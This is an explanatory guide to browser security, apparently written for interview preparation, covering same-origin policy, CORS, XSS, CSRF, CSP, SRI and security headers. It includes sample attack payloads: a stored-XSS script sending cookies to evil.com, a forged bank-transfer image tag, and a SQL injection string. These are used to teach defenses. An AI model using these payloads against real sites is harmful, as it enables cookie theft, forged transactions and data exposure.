Browser Security Model
The browser is the most hostile runtime environment in computing. Code from dozens of origins runs in the same process, users click unknown links, and extensions inject scripts into every page. The browser's security model exists to prevent this chaos from becoming exploitation.
The Same-Origin Policy
The foundational security model of the web. An origin is defined by three parts:
https:// app.example.com :443
scheme hostname port
Different origins:
https://app.example.com vs http://app.example.com (different scheme)
https://app.example.com vs https://api.example.com (different hostname)
https://app.example.com vs https://app.example.com:8080 (different port)What Same-Origin Policy Restricts
| Action | Same Origin | Cross Origin |
|---|---|---|
| Read DOM via JS | Allowed | Blocked |
| Read cookies | Allowed | Blocked (scope rules apply) |
| XHR/Fetch response | Allowed | Blocked (unless CORS headers) |
| Embed images | Allowed | Allowed (but can't read pixels) |
| Embed scripts | Allowed | Allowed (but can't read source) |
| Embed iframes | Allowed | Allowed (but can't access content) |
| Form submissions | Allowed | Allowed (but can't read response) |
The Key Insight
The browser blocks reading cross-origin responses, not sending requests. A cross-origin fetch request is sent — the server processes it — but the browser prevents JavaScript from reading the response. This is why CSRF is possible (the request is sent) and why CORS is needed (to allow reading the response).
Cross-Origin Resource Sharing (CORS)
CORS is the controlled exception to same-origin policy. The server tells the browser: "This origin is allowed to read my responses."
Simple vs Preflighted Requests
Simple Request (no preflight):
- GET, HEAD, or POST
- Only "safe" headers (Accept, Content-Language, Content-Type)
- Content-Type: text/plain, multipart/form-data, or application/x-www-form-urlencoded
Everything else triggers a preflight:
- PUT, DELETE, PATCH methods
- Custom headers (Authorization, X-Custom)
- Content-Type: application/jsonPreflight Flow
Browser Server
│ │
│──── OPTIONS /api/data ──────────────→│
│ Origin: https://app.example.com │
│ Access-Control-Request-Method: PUT│
│ Access-Control-Request-Headers: │
│ Content-Type, Authorization │
│ │
│←──── 204 No Content ────────────────│
│ Access-Control-Allow-Origin: │
│ https://app.example.com │
│ Access-Control-Allow-Methods: │
│ GET, PUT, POST, DELETE │
│ Access-Control-Allow-Headers: │
│ Content-Type, Authorization │
│ Access-Control-Max-Age: 86400 │
│ │
│──── PUT /api/data ──────────────────→│ (actual request)
│ Authorization: Bearer token │
│ │
│←──── 200 OK ────────────────────────│Credentials and CORS
// Sending cookies cross-origin requires both sides to opt in
// Client:
fetch('https://api.example.com/data', {
credentials: 'include' // Send cookies
});
// Server must respond with:
// Access-Control-Allow-Origin: https://app.example.com (NOT *)
// Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: * cannot be used with credentials: 'include'. The server must specify the exact origin.
Cross-Site Scripting (XSS)
XSS is injecting malicious JavaScript into a page. Three flavors:
Stored XSS
The payload is persisted (in a database) and served to other users:
Attacker posts comment: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
Database stores it as-is
Victim loads page → script executes → cookies stolenReflected XSS
The payload is in the URL and reflected in the response:
https://app.com/search?q=<script>alert('xss')</script>
Server renders: "Results for <script>alert('xss')</script>"DOM-Based XSS
The payload is processed entirely by client-side JavaScript:
// Vulnerable code
const query = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = query; // XSS!
// Attacker URL: https://app.com?q=<img src=x onerror="alert('xss')">XSS Prevention
// 1. Use textContent, not innerHTML
element.textContent = userInput; // Safe — treated as text
element.innerHTML = userInput; // DANGEROUS — parsed as HTML
// 2. Sanitize when HTML is needed
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// 3. React auto-escapes (but dangerouslySetInnerHTML doesn't)
<div>{userInput}</div> // Safe
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // Dangerous
// 4. Validate URLs
const isValidUrl = (url) => {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol);
} catch {
return false;
}
};Cross-Site Request Forgery (CSRF)
CSRF tricks the user's browser into making requests to a site where they're authenticated:
<!-- On evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<!-- Browser sends the request WITH the user's bank.com cookies -->CSRF Prevention
1. SameSite cookies (primary defense):
Set-Cookie: session=abc; SameSite=Strict → Never sent cross-origin
Set-Cookie: session=abc; SameSite=Lax → Sent only on navigation (GET)
2. CSRF tokens:
Server generates unique token per session
Embedded in forms/headers
Server validates token on state-changing requests
3. Check Origin/Referer header:
Server rejects requests from unexpected originsSameSite Cookie Values
| Value | Behavior | Use Case |
|---|---|---|
Strict | Never sent cross-origin | Banking, sensitive ops |
Lax | Sent on top-level navigation (GET) | Default for most cookies |
None | Always sent (requires Secure) | Third-party cookies, SSO |
Content Security Policy (CSP)
CSP tells the browser which resources are allowed to load. It's the strongest defense against XSS:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://cdn.example.com;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';Key Directives
| Directive | Controls | Example |
|---|---|---|
default-src | Fallback for all resource types | 'self' |
script-src | JavaScript sources | 'self' 'nonce-abc' |
style-src | CSS sources | 'self' 'unsafe-inline' |
img-src | Image sources | 'self' data: https: |
connect-src | XHR/Fetch/WebSocket targets | 'self' https://api.example.com |
frame-ancestors | Who can embed this page | 'none' (prevents clickjacking) |
Nonce-Based CSP (Recommended)
<!-- Server generates unique nonce per request -->
<script nonce="abc123">
// Only scripts with matching nonce execute
</script>
<!-- Injected script without nonce is blocked -->
<script>alert('xss')</script> <!-- Blocked by CSP! -->Subresource Integrity (SRI)
Ensures CDN-hosted scripts haven't been tampered with:
<script
src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
crossorigin="anonymous"
></script>If the file's hash doesn't match, the browser refuses to execute it.
Clickjacking Protection
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none';Prevents your page from being embedded in an iframe on another site (where clicks could be intercepted).
Other Attack Vectors
SQL Injection
SQL injection targets the server, not the browser, but frontend engineers must understand it because they build the forms and API calls that carry user input:
// Vulnerable server code
const query = `SELECT * FROM users WHERE name = '${userInput}'`;
// Attacker input: ' OR '1'='1
// Resulting query: SELECT * FROM users WHERE name = '' OR '1'='1'
// Returns ALL usersFrontend role in prevention:
- Never build SQL on the client (obvious but worth stating)
- Validate and sanitize inputs before sending to the server
- Use parameterized queries / prepared statements on the server
- Treat the frontend as untrusted — server must re-validate everything
Distributed Denial of Service (DDoS)
DDoS floods a server/network with traffic to make it unavailable. Frontend engineers encounter this through:
- Rate limiting — Implement client-side throttling on form submissions and API calls
- CAPTCHA — Gate high-cost operations (signup, search, export)
- CDN protection — Serve static assets from CDNs like Cloudflare that absorb DDoS traffic
- Graceful degradation — Show cached content or friendly error pages when the API is down
Man-in-the-Middle (MitM) Attacks
An attacker intercepts communication between client and server:
Client ←──→ Attacker ←──→ Server
(reads/modifies traffic)Prevention:
- HTTPS everywhere — Encrypts traffic so interceptors can't read it
- HSTS — Forces HTTPS, prevents SSL stripping attacks
- Certificate pinning — Mobile apps can pin expected certificates (not for web)
- SRI — Ensures CDN scripts haven't been tampered with
HTTPS and Mixed Content
HTTPS page loading HTTP resource → "Mixed Content"
Active mixed content (scripts, stylesheets, iframes):
→ Blocked by all modern browsers
Passive mixed content (images, videos, audio):
→ Warning, may be blockedSecurity Headers Checklist
# Prevent XSS
Content-Security-Policy: default-src 'self'; script-src 'self'
# Prevent clickjacking
X-Frame-Options: DENY
# Prevent MIME-type sniffing
X-Content-Type-Options: nosniff
# Force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Control referrer information
Referrer-Policy: strict-origin-when-cross-origin
# Restrict browser features
Permissions-Policy: camera=(), microphone=(), geolocation=()Interview Signal
Senior candidates demonstrate:
- Same-origin understanding — What it restricts, why requests are sent but responses blocked
- Attack vector knowledge — XSS flavors, CSRF mechanics, SQL injection, DDoS, MitM — how each is prevented
- Defense in depth — CSP + SameSite + sanitization + CSRF tokens + HTTPS (multiple layers)
- Cookie security — HttpOnly, Secure, SameSite, and why each attribute matters
- Practical implementation — CSP with nonces, SRI for CDN scripts, security headers checklist